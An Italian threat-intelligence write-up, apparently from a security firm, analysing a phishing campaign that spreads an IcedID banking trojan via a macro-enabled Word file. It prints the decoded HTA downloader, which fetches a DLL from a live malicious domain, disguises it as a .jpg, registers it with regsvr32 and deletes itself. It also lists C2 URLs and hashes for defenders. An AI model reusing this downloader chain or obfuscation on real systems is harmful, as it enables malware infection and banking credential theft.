IcedID

IcedID Malware: scoperta nuova variante

IcedID Malware: analisi a cura di Fabrizio Rendina,  Riccardo Paglia e del Soc As a Service Team Swascan

È attualmente in corso una campagna di Phishing su tutto il territorio nazionale: l’obiettivo dei Criminal Hacker è quello di veicolare una nuova variante del virus IcedID, un malware bancario considerato una nuova versione del Banking Trojan NeverQuest.

E’ una campagna nuova, iniziata il 26/03/2021 e che sta diffondendo un virus non ancora riconosciuto da tutti gli Antivirus in commercio.

Le mail recapitate in questa campagna, come già visto con malware tipo “Emotet”, sfruttano il tema del file protetto da password, il mittente appare come lecito rendendo di conseguenza difficile capire se si tratti di una mail malevola o meno.

Il testo è il seguente:

IcedID
                                                          Mail Phishing – IcedID Ransomware

In allegato alla mail è presente un file Zip protetto da password (la password è in chiaro nel testo della mail) contenente un file Word nominato “diffidare-03.26.2021.doc”.

Aprendo il documento, viene mostrata un’icona Word con un testo che invita ad abilitare il contenuto: cliccando il bottone “Abilita contenuto” viene quindi attivata la Macro contenuta all’interno del documento:

IcedID

All’interno del documento sono presenti metadata che contengono il nome dell’autore del file, permettendoci di collegare questa campagna come partita dalla Russia:

IcedID

 

Il documento, una volta aperto, esegue il download dell’eseguibile dal dominio http[:]//guzman2008-gas[.]com, per poi salvarlo localmente come “refNameSpace.jpg”. Nonostante l’estensione lasci pensare che possa essere un file immagine, in realtà il file scaricato è una “.dll”, che viene successivamente registrata nel sistema rendendo di fatto il sistema infetto.

IcedID: Ma come avviene l’infezione?

Diamo un’occhiata al codice della Macro contenuta nel file ed automaticamente attivata all’apertura del documento.

Per prima cosa procediamo aprendo il documento tenendo premuto il tasto “SHIFT” in modo da non eseguire le Macro contenute in esso.
A quel punto dal menù Sviluppo -> Macro è possibile vedere la presenza di due Macro:

La prima, “autoopen”, viene appunto eseguita all’apertura del file stesso e contiene il seguente codice:

Eseguendo la funzione in oggetto, viene creata la variabile “Caption” contenente la stringa: “c1:\use1rs\pub1lic\main.hta1”:

 

Tale stringa viene poi decifrata tramite la funzione “titleLenArray()” che va a rimuovere tutti gli “1” da essa, mostrando quindi il path del file che verrà creato all’esecuzione del comando: “c:\user\public\main.hta”

Eseguendo la macro in modalità “step by step”, possiamo vedere il comportamento della funzione dinamicamente. Viene quindi lanciata la funzione “titleClassBuf”:

Funzione contenuta all’interno del modulo “queryPastPointer”: una volta lanciata, questa funzione va a popolare la variabile omonima (titleClassBuf) con la concatenazione dei risultati delle altre funzioni presenti sempre all’interno dello stesso modulo:

Tutte le funzioni contenute in quel modulo sono nella forma:

Function <nome>

<nome> = tr(“<stringa>”)

End Function

Questo un estratto delle funzioni presenti:

La prima funzione, referenceTemp, assegna alla variabile “referenceTemp” il risultato dell’esecuzione della funzione “tr” su una stringa passata come argomento:

Alla fine dell’esecuzione di tutte le funzioni, quindi, la variabile titleClassBuf conterrà la concatenazione di tutte le stringhe presenti all’interno delle altre funzioni:

Alla fine dell’esecuzione di tutte le funzioni, quindi, la variabile titleClassBuf conterrà la concatenazione di tutte le stringhe presenti all’interno delle altre funzioni:

Il contenuto della variabile (codice HTML) viene quindi inserito all’interno del file c:\users\public\main.hta e viene quindi eseguito.

Continuando l’esecuzione della Macro originale, arriviamo all’ultimo step “frm.cbtnl_Click”:

Questa funzione lancia una shell il cui scopo è quello di eseguire il file “main.hta”:

Come visto precedentemente, la stringa contenuta in procCounterRepo viene ripulita degli 1 esattamente come visto in precedenza, restituendoci il path: c:\windows\explorer.

La variabile “exceptionProcedure”, analogamente, una volta ripulita dagli “1” presenti, viene popolata con il path “c:\users\public\main.hta”.

Viene quindi eseguito il codice:

 

c:\windows\explorer  c:\users\public\main.hta

che rende il computer infetto.

 

IcedID: Ma cosa contiene quel file “main.hta”?

 

Contiene il seguente codice:

 

IcedID: Cosa fa questo codice?

In sostanza, copia all’interno della variabile “vbVar” il contenuto (cifrato in Base64) presente nel div “content” del file html.

Poi il contenuto viene diviso (usando come separatore la pipe “|”) in due variabili: vbVar[0] e vbVar[1].

vbVar[0] contiene il seguente codice:


fTtlc29sYy5ub2l0cE94b2J0eGV0OykyICwiZ3BqLkFlY2Fwc2VtYU5mZXJcXGNpbGJ1cFxcc3Jlc3VcXDpjIihlbGlmb3RldmFzLm5vaXRwT3hvYnR4ZXQ7KXlkb2Jlc25vcHNlci5XcmFlbGMoZXRpcncubm9pdHBPeG9idHhldDsxID0gZXB5dC5ub2l0cE94b2J0eGV0O25lcG8ubm9pdHBPeG9idHhldDspIm1hZXJ0cy5iZG9kYSIodGNlamJPWGV2aXRjQSB3ZW4gPSBub2l0cE94b2J0eGV0IHJhdnspMDAyID09IHN1dGF0cy5XcmFlbGMoZmk7KShkbmVzLldyYWVsYzspZXNsYWYgLCJRaXlYSUg9ZGljJmgwMHk0ZXNQQ3dLM1gxRDdBbnByekxRVnE9ZGlzPzMxd2FuLzIzMTI3LzIxMzA1L2RkdmRmL21vYy5zYWctODAwMm5hbXp1Zy8vOnB0dGgiICwiVEVHIihuZXBvLldyYWVsYzspInB0dGhsbXguMmxteHNtIih0Y2VqYk9YZXZpdGNBIHdlbiA9IFdyYWVsYyByYXY=

Mentre vbVar[1] contiene il codice:

fXspZXNhYmF0YURjb3JwKGhjdGFjfTspImF0aC5uaWFtXFxjaWxidXBcXHNyZXN1XFw6YyIoZWxpZmV0ZWxlZC50aGdpUnRjZWxlU29wZXJ7eXJ0OykidGNlamJvbWV0c3lzZWxpZi5nbml0cGlyY3MiKHRjZWpiT1hldml0Y0Egd2VuID0gdGhnaVJ0Y2VsZVNvcGVyIHJhdjspImdwai5BZWNhcHNlbWFOZmVyXFxjaWxidXBcXHNyZXN1XFw6YyAyM3J2c2dlciIobnVyLikibGxlaHMudHBpcmNzdyIodGNlamJPWGV2aXRjQSB3ZW4=


I due contenuti vengono quindi prima decodificati da Base64:


vbVar[0]:

};esolc.noitpOxobtxet;)2 ,”gpj.AecapsemaNfer\\cilbup\\sresu\\:c”(elifotevas.noitpOxobtxet;)ydobesnopser.Wraelc(etirw.noitpOxobtxet;1 = epyt.noitpOxobtxet;nepo.noitpOxobtxet;)”maerts.bdoda”(tcejbOXevitcA wen = noitpOxobtxet rav{)002 == sutats.Wraelc(fi;)(dnes.Wraelc;)eslaf ,”QiyXIH=dic&h00y4esPCwK3X1D7AnprzLQVq=dis?31wan/23127/21305/ddvdf/moc.sag-8002namzug//:ptth” ,”TEG”(nepo.Wraelc;)”ptthlmx.2lmxsm”(tcejbOXevitcA wen = Wraelc rav

 

vbVar[1]:

}{)esabataDcorp(hctac};)”ath.niam\\cilbup\\sresu\\:c”(elifeteled.thgiRtceleSoper{yrt;)”tcejbometsyselif.gnitpircs”(tcejbOXevitcA wen = thgiRtceleSoper rav;)”gpj.AecapsemaNfer\\cilbup\\sresu\\:c 23rvsger”(nur.)”llehs.tpircsw”(tcejbOXevitcA wen


Infine il testo viene invertito (effettuando il “reverse” dell’intero codice), ottenendo:


vbVar[0]:

var clearW = new ActiveXObject(“msxml2.xmlhttp”);clearW.open(“GET”, “http://guzman2008-gas.com/fdvdd/50312/72132/naw13?sid=qVQLzrpnA7D1X3KwCPse4y00h&cid=HIXyiQ”, false);clearW.send();if(clearW.status == 200){var textboxOption = new ActiveXObject(“adodb.stream”);textboxOption.open;textboxOption.type = 1;textboxOption.write(clearW.responsebody);textboxOption.savetofile(“c:\\users\\public\\refNamespaceA.jpg”, 2);textboxOption.close;}

vbVar[1]:

new ActiveXObject(“wscript.shell”).run(“regsvr32 c:\\users\\public\\refNamespaceA.jpg”);var repoSelectRight = new ActiveXObject(“scripting.filesystemobject”);try{repoSelectRight.deletefile(“c:\\users\\public\\main.hta”);}catch(procDatabase){}


 

Il codice concatenato delle due variabili diventa quindi il seguente:

Dove si nota come venga scaricato un file dalla seguente URL:

http[:]//guzman2008-gas[.]com/fdvdd/50312/72132/naw13?sid=qVQLzrpnA7D1X3KwCPse4y00h&cid=HIXyiQ

e salvato con nome “refNamespaceA.jpg” all’interno del path c:\users\public

Il file .jpg è in realtà una libreria .dll che viene quindi registrata nel sistema col comando:

regsvr32 c:\users\public\refNamespaceA.jpg

infettando così il computer.

Fatto ciò, il file c:\users\public\main.hta viene quindi rimosso.

Questa la sequenza dei processi creati:

Il file scaricato è un eseguibile del tipo “PE32+ executable (DLL) (GUI) x86-64” compilato per MS Windows.

La grandezza del file è di 448.1Kb, e risulta appartenente alla famiglia IcedID, un trojan bancario capace di rubare le credenziali inserite dagli utenti sui siti delle proprie banche.

La configurazione del Trojan viene effettuata mediante chiamate al C&C situato all’URL:

 

  • http[:]//goodsnara.space

 

Il “man in the middle” necessario per catturare le credenziali viene reso possibile grazie all’installazione di un certificato del tipo “Certification Authority” scaricato dal sito:

 

  • http[:]//x.ss2.us/x.cer

 

L’eseguibile del malware ha la data di creazione del 26/03/2021.

Il team CSIRT di Swascan ha scoperto tale malware in data 28/03/2021, analizzando le modalità di trasmissione ed estrapolando i seguenti IoC:

 

  • http[:]//guzman2008-gas[.]com/fdvdd/50312/72132/naw13?sid=qVQLzrpnA7D1X3KwCPse4y00h&cid=HIXyiQ
  • http[:]//x.ss2.us
  • http[:]//goodsnara.space

 

  • diffidare-03.26.2021.doc
  • MD5: 40b75456bb09efbe0c1203f76075f726
  • SHA1: 06d997918c7a1086390ad331f81ca8bb6544d6fa
  • SHA256: 31574b62a05b5031648386cf09566173ed8b4fe95ffa4c819b242d0c6254b652

 

  • refNamespaceA.jpg
  • MD5: 4cea9a5336a7ccbf01066edf9995db48
  • SHA1: 106f625ad441815d1cd400ff085e0f291a439655
  • SHA256: 7d678b96b1e847b7bff4256f383aacc2d74f1be7269233a1495dcc56f95437e7

 

  • x.cer
  • MD5: 55540a230bdab55187a841cfe1aa1545
  • SHA1: 363e4734f757bdeb89868efe94907774a327695e
  • SHA256: d73494e3446b02167573b3cde3ae1c8584ac26e15e45ac3ec0326708425d90fbA

 

  • Autore docx:  tasjuz
  • Autore ultima modifica file docx: Пользователь

I nostri servizi

Vulnerability
Assessment

Network
Scan

Code
Review

GDPR
Assessment

ON PREMISE

Domain threat
intelligence

ICT Security
Assessment

Phishing
Attack Simulation

Smishing
Attack Simulation